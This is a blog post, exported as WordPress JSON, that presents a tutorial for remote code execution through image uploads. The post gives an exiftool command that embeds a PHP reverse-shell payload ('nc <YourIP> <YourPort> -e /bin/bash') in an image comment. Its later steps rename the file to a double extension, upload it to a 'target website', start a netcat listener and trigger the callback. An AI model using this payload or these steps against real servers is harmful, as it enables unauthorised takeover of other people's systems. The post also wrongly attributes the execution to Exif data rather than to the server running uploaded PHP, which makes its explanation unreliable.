{"id":874,"date":"2020-05-09T03:52:17","date_gmt":"2020-05-09T02:52:17","guid":{"rendered":"http:\/\/zerothcode.com\/blog\/?p=874"},"modified":"2020-10-08T05:35:55","modified_gmt":"2020-10-08T04:35:55","slug":"remote-code-execution-via-exif-data-im-dangerous","status":"publish","type":"post","link":"https:\/\/zerothcode.com\/blog\/remote-code-execution-via-exif-data-im-dangerous\/","title":{"rendered":"Remote Code Execution via Exif Data- I\u2019m Dangerous"},"content":{"rendered":"<p id=\"207a\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\"><strong class=\"gr hj\">Summary :<\/strong><\/p>\n<p id=\"4457\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">Exif stands for Exchangeable Image File Format. Exif Data stores sensitive information like Geo-location, Date, Name of the camera, Modified date, Time, Sensing Method, File Source, Type of compression etc. in the photos you click. Now this data resides in the every photo you take using cameras. Everyone knows what the exif data is but very few are aware about how dangerous it is.<\/p>\n<p id=\"8d55\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">So I have found a technique using which an attacker can gain\u00a0<strong class=\"gr hj\">Remote Code Execution\u00a0<\/strong>if the exif data is not stripped by the server. Basically what people does, if they found\u00a0<strong class=\"gr hj\">Exif Data\u00a0<\/strong>vulnerability they simply report it which has the 2 tier of severity :<\/p>\n<ol class=\"\">\n<li id=\"28e1\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc hk hl hm\" data-selectable-paragraph=\"\">Automatic User Enumeration \u2192 P3 (severity)<\/li>\n<li id=\"5454\" class=\"gp hd ap ce gr b gs hn he gu ho hf gw hp hg gy hq hh ha hr hi hc hk hl hm\" data-selectable-paragraph=\"\">Manual User Enumeration \u2192 P4 (severity)<\/li>\n<\/ol>\n<p id=\"fc42\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">But what if they convert it into RCE ? It will have more effect than the normal\u00a0<strong class=\"gr hj\">Exif Data\u00a0<\/strong>vulnerability. So let\u2019s check it how it is done.<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp hs\">\n<div class=\"gh r ga gi\">\n<div class=\"ht gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg?q=20\" width=\"1280\" height=\"720\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/1280\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg 276w, https:\/\/miro.medium.com\/max\/1104\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg 552w, https:\/\/miro.medium.com\/max\/1280\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg 640w, https:\/\/miro.medium.com\/max\/1400\/1*8HhbfNDQG9otMsrsj2AkJA.jpeg 700w\" width=\"1280\" height=\"720\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<p id=\"d7d7\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\"><strong class=\"gr hj\">How to find this vulnerability ?<\/strong><\/p>\n<ol class=\"\">\n<li id=\"2e5e\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc hk hl hm\" data-selectable-paragraph=\"\">Go to your target website and check for the Exif Data vulnerability<\/li>\n<li id=\"f0ed\" class=\"gp hd ap ce gr b gs hn he gu ho hf gw hp hg gy hq hh ha hr hi hc hk hl hm\" data-selectable-paragraph=\"\">Now take an image and insert a payload in it using\u00a0<a class=\"bx ff hu hv hw hx\" href=\"https:\/\/www.poftut.com\/how-to-install-and-use-exiftool-in-linux-windows-kali-ubuntu-mint-with-examples\/\" target=\"_blank\" rel=\"noopener nofollow noreferrer\">exiftool<\/a><\/li>\n<\/ol>\n<p id=\"e07b\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\"><strong class=\"gr hj\">Payload :<\/strong>\u00a0exiftool -Comment=\u2019&lt;?php system(\u201cnc &lt;YourIP&gt; &lt;YourPort&gt; -e \/bin\/bash\u201d); ?&gt;\u2019 filename.png<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp hy\">\n<div class=\"gh r ga gi\">\n<div class=\"hz gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*6qcebz-DvavaRmc8wIQUew.png?q=20\" width=\"734\" height=\"491\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/734\/1*6qcebz-DvavaRmc8wIQUew.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*6qcebz-DvavaRmc8wIQUew.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*6qcebz-DvavaRmc8wIQUew.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*6qcebz-DvavaRmc8wIQUew.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*6qcebz-DvavaRmc8wIQUew.png 700w\" width=\"734\" height=\"491\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Inserting Payload<\/figcaption><\/figure>\n<p id=\"a423\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">3. Now in order to execute this file we need to modify the extension because .png is not an executable format, so use this command to modify the file extension<\/p>\n<p id=\"0c57\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\"><strong class=\"gr hj\">Command (linux) :<\/strong>\u00a0mv filename.png filename.php.png<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp hy\">\n<div class=\"gh r ga gi\">\n<div class=\"ie gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*aS1qSNEDEDE2O_EZ6CVD5A.png?q=20\" width=\"734\" height=\"489\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/734\/1*aS1qSNEDEDE2O_EZ6CVD5A.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*aS1qSNEDEDE2O_EZ6CVD5A.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*aS1qSNEDEDE2O_EZ6CVD5A.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*aS1qSNEDEDE2O_EZ6CVD5A.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*aS1qSNEDEDE2O_EZ6CVD5A.png 700w\" width=\"734\" height=\"489\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Modifying File<\/figcaption><\/figure>\n<p id=\"6ae6\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">4. Now upload the file to your target website<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp if\">\n<div class=\"gh r ga gi\">\n<div class=\"ig gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*HgU52HGgw4nXvSKU1vlhuQ.png?q=20\" width=\"749\" height=\"472\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/749\/1*HgU52HGgw4nXvSKU1vlhuQ.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*HgU52HGgw4nXvSKU1vlhuQ.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*HgU52HGgw4nXvSKU1vlhuQ.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*HgU52HGgw4nXvSKU1vlhuQ.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*HgU52HGgw4nXvSKU1vlhuQ.png 700w\" width=\"749\" height=\"472\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Upload File<\/figcaption><\/figure>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp ih\">\n<div class=\"gh r ga gi\">\n<div class=\"ii gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*BYuFGc7nG1qD1mnjLisFoA.png?q=20\" width=\"748\" height=\"292\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/748\/1*BYuFGc7nG1qD1mnjLisFoA.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*BYuFGc7nG1qD1mnjLisFoA.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*BYuFGc7nG1qD1mnjLisFoA.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*BYuFGc7nG1qD1mnjLisFoA.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*BYuFGc7nG1qD1mnjLisFoA.png 700w\" width=\"748\" height=\"292\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">File Uploaded<\/figcaption><\/figure>\n<p id=\"e796\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">5. Start netcat listener on your machine<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp hy\">\n<div class=\"gh r ga gi\">\n<div class=\"ij gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*Xw7MLEZi76icKS6PDfwdrQ.png?q=20\" width=\"734\" height=\"364\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/734\/1*Xw7MLEZi76icKS6PDfwdrQ.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*Xw7MLEZi76icKS6PDfwdrQ.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*Xw7MLEZi76icKS6PDfwdrQ.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*Xw7MLEZi76icKS6PDfwdrQ.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*Xw7MLEZi76icKS6PDfwdrQ.png 700w\" width=\"734\" height=\"364\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Netcat Listener<\/figcaption><\/figure>\n<p id=\"6979\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">6. Now visit the URL where the file is uploaded (eg.\u00a0<a class=\"bx ff hu hv hw hx\" href=\"https:\/\/www.target.com\/profile\" target=\"_blank\" rel=\"noopener nofollow noreferrer\">https:\/\/www.targetwebsite.com\/<\/a>profile\/filename.php.png)<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp ik\">\n<div class=\"gh r ga gi\">\n<div class=\"il gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*NtgCgx2TOmkf23jXXQnbMw.png?q=20\" width=\"737\" height=\"451\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/737\/1*NtgCgx2TOmkf23jXXQnbMw.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*NtgCgx2TOmkf23jXXQnbMw.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*NtgCgx2TOmkf23jXXQnbMw.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*NtgCgx2TOmkf23jXXQnbMw.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*NtgCgx2TOmkf23jXXQnbMw.png 700w\" width=\"737\" height=\"451\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Callback<\/figcaption><\/figure>\n<p id=\"26c8\" class=\"gp hd ap ce gr b gs gt he gu gv hf gw gx hg gy gz hh ha hb hi hc cx\" data-selectable-paragraph=\"\">7. Run the commands<\/p>\n<figure class=\"fs ft fu fv fw fx co cp paragraph-image\">\n<div class=\"fy fz ga gb ai\">\n<div class=\"co cp im\">\n<div class=\"gh r ga gi\">\n<div class=\"in gk r\">\n<div class=\"gc gd s t u ge ai av gf gg\"><img loading=\"lazy\" decoding=\"async\" class=\"s t u ge ai gl gm bc ru\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/60\/1*jkVojECdW7kN8vrsg67_mA.png?q=20\" width=\"736\" height=\"370\" \/><\/div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"mr rt s t u ge ai go\" role=\"presentation\" src=\"https:\/\/miro.medium.com\/max\/736\/1*jkVojECdW7kN8vrsg67_mA.png\" sizes=\"auto, 700px\" srcset=\"https:\/\/miro.medium.com\/max\/552\/1*jkVojECdW7kN8vrsg67_mA.png 276w, https:\/\/miro.medium.com\/max\/1104\/1*jkVojECdW7kN8vrsg67_mA.png 552w, https:\/\/miro.medium.com\/max\/1280\/1*jkVojECdW7kN8vrsg67_mA.png 640w, https:\/\/miro.medium.com\/max\/1400\/1*jkVojECdW7kN8vrsg67_mA.png 700w\" width=\"736\" height=\"370\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div><figcaption class=\"ia ib cq co cp ic id cd eh ei cf ci\" data-selectable-paragraph=\"\">Remote Code Execution<\/figcaption><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Summary : Exif stands for Exchangeable Image File Format. Exif Data stores sensitive information like Geo-location, Date, Name of the<\/p>\n","protected":false},"author":1,"featured_media":875,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[51],"tags":[],"yst_prominent_words":[65,636,171,1235,1243,1239,1234,1233,1242,1158,1241,1238,1213,383,342,627,1240,1237,1236,180],"class_list":["post-874","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"_links":{"self":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts\/874","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/comments?post=874"}],"version-history":[{"count":0,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/posts\/874\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/media\/875"}],"wp:attachment":[{"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/media?parent=874"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/categories?post=874"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/tags?post=874"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/zerothcode.com\/blog\/wp-json\/wp\/v2\/yst_prominent_words?post=874"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}